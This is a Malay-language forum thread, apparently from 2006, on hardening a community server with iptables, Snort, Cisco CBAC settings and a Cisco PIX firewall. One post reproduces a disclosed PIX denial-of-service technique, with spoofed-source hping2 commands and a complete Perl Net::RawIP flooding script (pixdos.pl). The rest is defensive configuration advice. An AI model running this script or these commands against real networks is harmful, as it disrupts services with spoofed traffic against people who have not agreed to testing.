Jump to content
Sign in to follow this  
asklinux

Firewall Untuk Server Putera.com

Recommended Posts

apa kata aku cadangkan supaya pakai astaro firewall :) ..

dia ada home user nye licence free ..cuba dulu , kalau ok boleh beli full licence ...

selama aku pakai ..alhamdulilah ..tak de masalah sanggat ;) .

Linux is power toolsss :D

setkan tak leh ping ;)

tutup icmp , arp dan lain2 yang tak guna ..

kalau nak monitor alow ip server tu jee ...

just open port 80 tcp

Share this post


Link to post
Share on other sites

Linux is power toolsss :D

wooooo ye ke? ko run http ke public? meh ip address aku nak test. kalau benar apa ko kata firewal tu boleh tahan lasak, memang aku hantar email ke cisco makihamun dia pasal jual produk memahal tapi tak lasak ;)

Share this post


Link to post
Share on other sites

apa kata aku cadangkan supaya pakai astaro firewall :) ..

dia ada home user nye licence free ..cuba dulu , kalau ok boleh beli full licence ...

selama aku pakai ..alhamdulilah ..tak de masalah sanggat ;) .

Linux is power toolsss :D

setkan tak leh ping ;)

tutup icmp , arp dan lain2 yang tak guna ..

kalau nak monitor alow ip server tu jee ...

just open port 80 tcp

;) , powernya firewall sesuatu firewall bukan terletak pada os yang digunakan.

bergantung kepada macamana ianya dikonfigurasi.

firewall tak lebih dari packet filtering(berulang kali aku nak sebut) cuma skrg dah byk

cara DoS yang boleh melumpuhkan firewall ataupun trafic network yang sebenarnya

telah crowded akibat serangan tersebut.

asklinux, ko punya firewall mungkin belum ada masalah sebab ko belum ask somebody

to test it.

skrg aku duk study kekuatan iptables sebagai filtering tools.

Lubang port 80 tu nak filter ngan apa pulak? biar ternganga je ke :ph34r:

tertarik aku dengan persoalan ni, apabila firewall dah filter sesuatu server untuk

sesuatu services, cthnya http (80).

dimana ternganganya? of course server http itu sendiri. kalau dah server melalui

port 80 boleh diexploitasi maknanya kalau ada 100 lapis firewall pun terburai.

Share this post


Link to post
Share on other sites

iptable + snort_inline :):P

Linux power tools :D:P

Dari: Seremban, Negeri Sembilan

Ahli ke- 41

QUOTE(asklinux @ Nov 30 2006, 12:29 PM) *

Linux is power toolsss biggrin.gif

wooooo ye ke? ko run http ke public? meh ip address aku nak test. kalau benar apa ko kata firewal tu boleh tahan lasak, memang aku hantar email ke cisco makihamun dia pasal jual produk memahal tapi tak lasak wink.gif

hahahaha ... tak de asas securiti ke :P nie .....port yang tak ditutup dan ancaman besar port 80 , firewall apa pun ko pakai ttp bocor :P ....yg tu guna laks teknologi lain ...

kalau firewall tak tahan kena hentam .... baik letak router je jadi firewall ...:P sah2 tak tahan

:D

hahaha ....

nak tau ke tak iptable power ko set satu firewall guna linux ..fedora pun tak pe laa ...ko test la sendiri ekk ..

;)

Share this post


Link to post
Share on other sites

aku cadangkan apa kata ko letak satu firewall linux/freebsd/openbsd dan cuba hantar dos . configure iptable tu betul2 . cikai2 pun ko cuba projek LRP ...firewall dalam disket . tak uah install ..kernel dia lama laa.. tapi masih ok la lagi ...kalau dos kecik tu ok laa :D .. (dulu cisco pun pernah jual :D tapi org tak tau sebab tak bukak casis dia)

or nak try kernel terbaru sikit ko cuba yg nie ..guina cd tak yah install ...configure dia kat disket ... run on ram . laju tu :D

http://www.sentryfirewall.com/

http://m0n0.ch/wall/

free tak yah keluar duit tapi kena ada ilmu :P

kepada yang masih nak duduk kat tempurung tu ..duduk la yekk tak de siapa marag ;) org dah semuk ke bulan dia masih kat bumi ....hehehehe ...gurau yekkk

Edited by asklinux

Share this post


Link to post
Share on other sites

tau tak pasal bufer obeflow .. :D konsep dia ..si penyerang akan hantar paket melebihi had sistem tu ... cth sistem yang selalu mengalami masalah tu adalah windows .

bila paket dia berlebihan . maka paket dos yang selebihnya tadi akan terlepas . so perlu la ada perlindungan . cth dalam iptable dia ada satu fungsi di mana bila data dia terlalu tinggi (dos) dia akan deny semua paket dari attacker .

selalunya firewall kalau di set . dia tak akan membenarkan semua port dan semua protocol . bagi mengelakan serangan ke atas network. port yang akan di bukak adalah TCP 80 . TCP 443 TCP 22 dan lain2 .

kalau di setkan mcm tu . semua serangan network sama ada arp, icmp , igmp :D mcm silap je nie , udp dan lain2 dah di drope awal2.

ada lagi teknologi baru yang skrg nie tgh hangat di promosikan adalah ips. ips nie dia adalah sebenarnya di upgrade dari ids. ids hanya membuat report sama ada serangan berlaku atau tidak. Teknologi nie boleh guna utk doop serangan yang di tujukan ke arah aplikasi arah port TCP 80 , 443 dll lagi port yang tak di tutup.

tapi masalah pada ips adalah kadang kala terdapat payload atak paket yang mmg digunakan tapi diangap salah . dan komunikasi akan diputuskan...kadang kalau akan menjadi lambat . jika tak betul configure , network boleh jadi slow atau server tak boleh di acess.

selalunya server yang akan keluar tak akan ada masalah dgn udp , arp atau icmp sebab firewall dah block . dos selalunya tak lepas . sebab kalau dos dilepaskan dan paket terlalu tinggi maka conection dengan penyerang akan diputuskan serta merta..

cth :-

# iptables -A FORWARD -p tcp --syn -m limit --limit 1/s -j ACCEPT

Cisco Router Firewall Security: DoS Protection

Setting Connection Timeouts

Router(config)# ip inspect tcp synwait-time seconds

Router(config)# ip inspect tcp finwait-time seconds

Router(config)# ip inspect tcp idle-time seconds

Router(config)# ip inspect udp idle-time seconds

Router(config)# ip inspect dns-timeout seconds

Setting Connection Thresholds

Router(config)# ip inspect max-incomplete high number

Router(config)# ip inspect max-incomplete low number

Router(config)# ip inspect one-minute high number

Router(config)# ip inspect one-minute low number

Router(config)# ip inspect tcp max-incomplete host number

block-time minutes

Using CBAC to Prevent DoS Attacks

Router(config)# ip inspect tcp synwait-time 20

Router(config)# ip inspect tcp idle-time 60

Router(config)# ip inspect udp idle-time 20

Router(config)# ip inspect max-incomplete high 400

Router(config)# ip inspect max-incomplete low 300

Router(config)# ip inspect one-minute high 600

Router(config)# ip inspect one-minute low 500

Router(config)# ip inspect tcp max-incomplete host 300

block-time 0

It is possible to prevent new communication establishment to a specific port on a server located behind the PIX firewall, when a permanent static mapping is applied between a local and a global IP address, similar to the Network setup diagram below.

Network Setup:

Attacker ------ Internet ------ PIX ------ Router ------ Server

By sending a legitimate packet and specifying TTL equal to n-1 of the destination value, it is possible to disable communication between the source and destination port pair for the duration of approximately 120 seconds on PIXOS version 6 and 30 seconds on PIXOS version 7.

In order for the attack to succeed, an additional hop (router) should be present between the PIX and the server, that would timeout the packet returning the ICMP time exceeded in-transit.

Such setups can be easily identified using the TCPTraceroute to the open port and returning repeating destination IP in the last two hops. e.g.

TCPTraceroute:

5 xxx.xxx.xxx.32 18.952 ms 19.396 ms 20.438 ms

6 xxx.xxx.xxx.7 19.667 ms 22.174 ms 20.629 ms

7 xxx.xxx.xxx.68 29.286 ms 21.401 ms 19.935 ms

8 xxx.xxx.xxx.100 108.143 ms 42.783 ms *

9 xxx.xxx.xxx.100 [open] 32.268 ms 26.037 ms 23.569 ms

Although, it would take a lot of packets to disrupt the communication between the hosts completely, we assume that the attacker's aim is to prevent the communication to a specific service located on the machine behind the PIX firewall (e.g. HTTP/S, SMTP) and some other host on the Internet, whose source address can be spoofed. Depending on the bandwidth, it might take as little as 15 seconds to generate and send out 65535 packets with a custom source port.

The attack can be performed using the interactive packet constructors such as hping, e.g.

if you want to prevent new communication establishment between SOURCE_IP source port 31337 and TARGET_IP destination port 80, execute:

arhontus / # hping2 -a $SOURCE_IP -S -c 1 -s 31337 -p 80 -t 8 $TARGET_IP

if you want to prevent new communication establishment between SOURCE_IP port ranges 0-63535 and TARGET_IP destination port 80, execute:

arhontus / # hping2 -a $SOURCE_IP -S -s 0 -p 80 --faster -t 8 $TARGET_IP

The attack was tested on two PIX 535 firewalls with 1Gb of RAM each performing static permanent mapping and running in failover mode with PIXOS ver 6.3(4), and on a single PIX 515E with 64Mb of RAM running PIXOS ver 7.0(4)

#!/usr/bin/perl

eval ("use Getopt::Long;");die "[error] Getopt::Long perl module is not installed \n" if $@;

eval ("use Net::RawIP;");die "[error] Net::RawIP perl module is not installed \n" if $@;

eval ("use Term::ProgressBar;");

die "[error] Term::ProgressBar perl module is not installed \n" if $@;

my $VERSION = "0.1";

print "$0, $PgmName, V $VERSION \n";

GetOptions (

"help" =>\$usage,

"device=s" => \$device,

"source=s" =>\$sourceip,

"dest=s"=>\$destip,

"sourcemac=s"=>\$sourcemac,

"destmac=s"=>\$destmac,

"port=n"=> \$tcpport,

);

############ Config option ##########

my $timeout = "0,1"; # Timeout

if ($usage) {&usage;}

if (!$device) {

$device= 'eth0'; # Network device

}

if (!$destmac) {print "Dest MAC not found \n"; &usage;}

if (!$sourceip) {print "Source IP not found \n"; &usage;}

if (!$destip) {print "Dest IP not found \n"; &usage;}

if (!$tcpport) {print "TCP port not found \n"; &usage;}

my $syn="1"; # TCP SYN SET

my $tcpdata = "TEST"; # TCP payload

my $count=0;

###########################

#Initialize Progres Bar

my $progress = Term::ProgressBar->new(32768);

$progress->minor(0);

$packet = new Net::RawIP;

$packet-> ethnew($device);

if (!$sourcemac) {

$packet -> ethset( dest => $destmac);

}else {

$packet -> ethset( source =>$sourcemac, dest => $destmac);

}

for ($count=0; $count< 65537 ; $count++) {

$packet->set({

ip => {

saddr => $sourceip,

daddr => $destip

},

tcp => {

check => 0x0010 , # TCP Packet Checksum 0 for auto correct

source => $count,

dest => $tcpport,

syn => $syn,

data => $tcpdata

}});

$packet->ethsend($timeout);

#$packet->send($timeout);

$progress->update($_);

$count++;

}

sub usage {

print <<EOF ;

This program was originally written in the due course of writing

"Hacking Exposed Cisco Networks: Cisco Security Secrets and Solutions" book.

Tool author - Janis Vizulis, Arhont Ltd. (License GPL-2 ) Please send bugs

and comments to info at arhont.com

usage: $0 [ --device=interface ] [--source=IP] [--dest=IP] [--sourcemac=MAC] [--destmac=MAC] [--port=n]

Options:

--help This message

--device Network interface (defaut set eth0)

--source Victim source IP

--dest Victim destination IP

--sourcemac Victim source MAC

--destmac MAC Address of the gateway

--port TCP port

Example: ./pixdos.pl --device eth0 --source 192.168.44.10 --dest 192.168.55.111 \

--sourcemac 00:90:27:99:11:b6 --destmac 00:60:27:99:11:b6 --port 22

EOF

exit shift;

}

Edited by asklinux

Share this post


Link to post
Share on other sites

relex aa ...boh source code pun bukan semua tau pakai :D lain la aku bagi exe atau bin file :P

dari source la kita boleh belajar ;) betul tak . tak de la jadi scrip kedy jejee ..peh teruk sanggat bi aku niee :D tahap cipan ngantuk lakss...

kalau setakat nak test ke server sendiri tak di masalah .. tak yah sijil pun tak pee...sebab nak tau keberkesanan server tu

tapi kalau buat kat server org lain ..tu salah laa.

rujuk akta jenayah komputer 1997 ..

Share this post


Link to post
Share on other sites

stargaze 3 tahun lepas ramai masih pakai ipchain lagi ;) emm bukan salah iptables tu ..

kalau tak cukup ilmu di dada lautan dalam jangan di duga

kalau baru belajar main2 dengan firewall windows tu , aku cadangkan ko pergi berguru dulu dengan pak cik google kita yek ..atau pun kalau ada duit ko beli buku kat mph ;) buku securitya . harga tak mahal . paling murah pun rm 150 . tu buku yang berkualiti laa

atau pun ko ikut cara aku tak mampu nak beli buku. cari kat google . dan pergi mph baca percuma :D lepas baca 1/2 jam balik laa ..sekali pergi dapat baca satu muka surat pun ok laa ...tu aku la , anak org tak berharta.

berlajar pun ada la dgn org dah berpengalaman lebih 10 tahun . bos aku le tuuu . sebelum linux wujud lagi dia dah main2 dgn firewall , unix , ...bsd dll lagi . network jgn cita laa

pengalaman aku tak de la lama ..ada la dalam 4-5 tahun dlm security dgn network nie..tu pun rasa mcm bodoh lagi . masih banyak yg kena di pelajari .

ok la nie aku bagi tau ko mcm mana nak tau configure yg power tuu :P

memula ko ke www.google.com

dalam kotak tu ko taip

iptables inurl:download filetype:txt

Assalamualaikum

Share this post


Link to post
Share on other sites

lupa laks ...nak tengok configure iptable ? nanti takut bedinau laks biji mata ko ...bukan 1/2 user....bukan 1/2 server user ada la dalam 4000 server ....tak kira laa ....

nak tengok gak kee :P

Share this post


Link to post
Share on other sites

lupa laks ...nak tengok configure iptable ? nanti takut bedinau laks biji mata ko ...bukan 1/2 user....bukan 1/2 server user ada la dalam 4000 server ....tak kira laa ....

nak tengok gak kee :P

asklinux :P , tak pe la, kita orang semua ni bincang pasal firewall, esp firewall PIX, because nak setel problem

kebarangkalian server putera di attack, cadangan asklinux tu mmg la bagus, dan aku dah guna, cuma tunggu masa

skit aku nak kemaskan lagi skrip firewall aku ni, mungkin aku akan minta azuan untuk test.

test adalah untuk melihat kadar keupayaan firewall dengan iptables dapat menahan DoS dengan baik, dan nak menahan 100% tuh belum terjamin akan kesahihannya, mungkin asklinux boleh berikan satu dua baris iptables untukdrop packet dari attacker.

#Reduce DoS dengan mengurangkan timeout

echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout

echo 2400 > /proc/sys/net/ipv4/tcp_keepalive_time

echo 0 > /proc/sys/net/ipv4/tcp_window_scaling

echo 0 > /proc/sys/net/ipv4/tcp_sack

#Flood variable

# Overall Limit for TCP-SYN-Flood detection

TCPSYNLIMIT="5/s"

# Burst Limit for TCP-SYN-Flood detection

TCPSYNLIMITBURST="10"

# Overall Limit for Loggging in Logging-Chains

LOGLIMIT="2/s"

# Burst Limit for Logging in Logging-Chains

LOGLIMITBURST="10"

# Overall Limit for Ping-Flood-Detection

PINGLIMIT="5/s"

# Burst Limit for Ping-Flood-Detection

PINGLIMITBURST="10"

byk lagi mende nak kena tulis/taip tu, nanti aku sambung lagi

dan firewall yang aku up skrg adalah hasil gabungan

Slackware 11.0+iptables-1.3.5+IPROUTE2-2.6.16

insyaAllah jika ada masa, aku akan cuba mini documentkan skrip ni.

p/s: gegule, bukan senang sebenarnya nak jadikan iptables itu seperti yang kita mahukan

tidak sesenang enter dan DAH JADI? :o

Share this post


Link to post
Share on other sites

mana ada sistem di dunia ni 100% sempurna ;) yang sempurna hanyalah Allah .

maksud aku lebih baik dari .........

sekurang2 nya kalau tak ok pun ko boleh campak je cd tu sebab satu sen pun tak keluar :) . dari beli mahal2 last2 hanpee ..pakai sebulan 2 dah tergoleh :D .

http://www.netfilter.org/documentation/HOW...ng-HOWTO-7.html

yang nie dia ada listkan tools yang boleh memudahkan nak configure

http://www.securityfocus.com/infocus/1410

lupa laks nak bagitau ..kalau nak bagi iptable tu stabil letak kan dia kat kernel .... dan bukan module

Edited by asklinux

Share this post


Link to post
Share on other sites

sekurang2 nya kalau tak ok pun ko boleh campak je cd tu sebab satu sen pun tak keluar :) . dari beli mahal2 last2 hanpee ..pakai sebulan 2 dah tergoleh :D .

haha, itu dah mungkin mental kita kot, suka pada yang mahal, yang takde tanda harga that mean kot2

tak de support, tapi bila dah beli yang 'mahal' tu, puas hati ke support?last2 sendiri kena support. tapi itu lah

yang seeloknya, ngaji, mengaji dan mengaji, pesan sifu aku, akhir bulan cucuk kat ATM amik upah untuk sebulan

biarlah bersyukur dan tanya diri sendiri, adakah apa yang aku dpt ni adalah sepadan dengan yang aku buat,

kalau terkurang ganjaran, niat lah bersedekah apa yang kita buat tu, kalau terlebih ganjaran yang tidak sepadan dengan apa kita buat, buatlah ianya sepadan dibulan hadapan.

maaf la jika mende ni keluar dari topik ;) , but still focus on firewall related, betul ke tidak english aku.:D

Share this post


Link to post
Share on other sites

betul tu ...maaf la yek kalau ada yg terasa or tak sedap sengan artikel aku .

aku hangin bila aku bagi cadangan sikit org kata aku nie fanatik. dah tentu la aku buat security dan aku gena exploir dan mengexpertkan diri dalam linux . bila aku cakap sikit ada la mamat yang kata aku nie fanatik ..emm lawak2

tak pernah lak aku kata jangan guna windows , jgn guna cisco guna je linux ? ada aku kata ke ? aku cuma kata cuba try ...cuba guna ..

kalau aku kutuk ttg suatu produk tu ..sebab itu hak kita sebagai pengguna . beli sistem yang mahal2 tapi hasilnya tah apa2 . dan juga mengelak dari negara or syarikat kita dikawal or dikongkong oleh individu atau syarikat tertentu . dgn oss sekurang2 nya kita ada pilihan dan bijak menilai.

soory terkeluar topik laks ...aku bengang dgn mamat yang cari pasal je dgn aku . bila kena tang batang hidung sendiri salah ... panda laks buat bodoh yekk :D .

masuk forum linux dia nak perli2 aku ..forum network pun ...apa la aku masuk sini sebab nak share apa yg aku ada dgn org lain , dan aku ambil pengalaman org lain utk aku gakss ...

tapi kalau mcm nie la ..bila aku cakap sikit kata aku fanatik ....tak pe laa, aku keluar je la dari sini . dulu ada gaks niat nak buat mcm tu . tapi pasal fikirkan bukan mudah nak mengubah metelity manusia ..terutamanya org melayu nie . barang sendiri dia komplain ..bukan nak naikkan tapi nak jatuhkan . malaysia buat kereta komplain , buat moto komplain , buat kapal terbang komplain . buat tayar pun komplain .... yang dari luar je la semuanya bagus ....kalau pemikiran mcm tu sampai bila kita nak berdikari dan maju ? tapi kalau betul2 la mmg ramai tak suka aku kat sini , tak pe la aku keluar je la walaupun berat hati :(

:D mcm imosional jee ..hehehehe ,

cayokkkkkk ...cayaookkkkk

Edited by asklinux

Share this post


Link to post
Share on other sites

apa kata letak ids (guns snort ) monitor port incoming ... buat cermin :D dalam bi apa ekkk

kita tengok payload apa yang dia hantar .....dan source ip tu . or guna snifer pun boleh , tapi lecih laks nak monitor je sentiasa ..

[internet] -------(monitor trafic nie)-------[pibx/firewall]

Edited by asklinux

Share this post


Link to post
Share on other sites

apa kata letak ids (guns snort ) monitor port incoming ... buat cermin :D dalam bi apa ekkk

kita tengok payload apa yang dia hantar .....dan source ip tu . or guna snifer pun boleh , tapi lecih laks nak monitor je sentiasa ..

[internet] -------(monitor trafic nie)-------[pibx/firewall]

Buat Cermin? Mirroing :D

Good idea, awak guide Admin guna snort. Sebab IDS signature kat pix is limited.

Share this post


Link to post
Share on other sites

on hand :D cakap tak pandai lee ;) or nanti org tak faham atau salah faham nanti dgn aku

kalau ikut doc tu rasanya tak jadi masalah .

or guna je source :D

./configure --prefix=/sistem/snort --with-mysql

make

make install

ubah nie kat configure ikut database yang telah dibuat

output database: alert, mysql, user=user password=snort dbname=snort host=localhost

uncoment ---> rules/dos.rules

dan rules lain yg nak di monitor

untuk run snort

/sistem/snort/bin/snort -i eth? -c /sistem/snort/rules/snort.conf -D

setup apache

Edited by asklinux

Share this post


Link to post
Share on other sites

cuba guna rules nie

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"DOS Cisco attempt"; flow:to_server,established; dsize:1; content:"|13|"; classtype:web-application-attack; sid:1545; rev:9;)

Share this post


Link to post
Share on other sites

AskLinux, Where R U? Post dah di separatekan nih.. Kepada Open Source Expert, berilah pandangan bagaimana hendak mengukuhkan Keselamatan Rangkaian Putera menggunakan IP Tables, Snort dan lain2. Kalau dah siap kita boleh combine dengan PIX.

:D

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
Sign in to follow this  

×
×
  • Create New...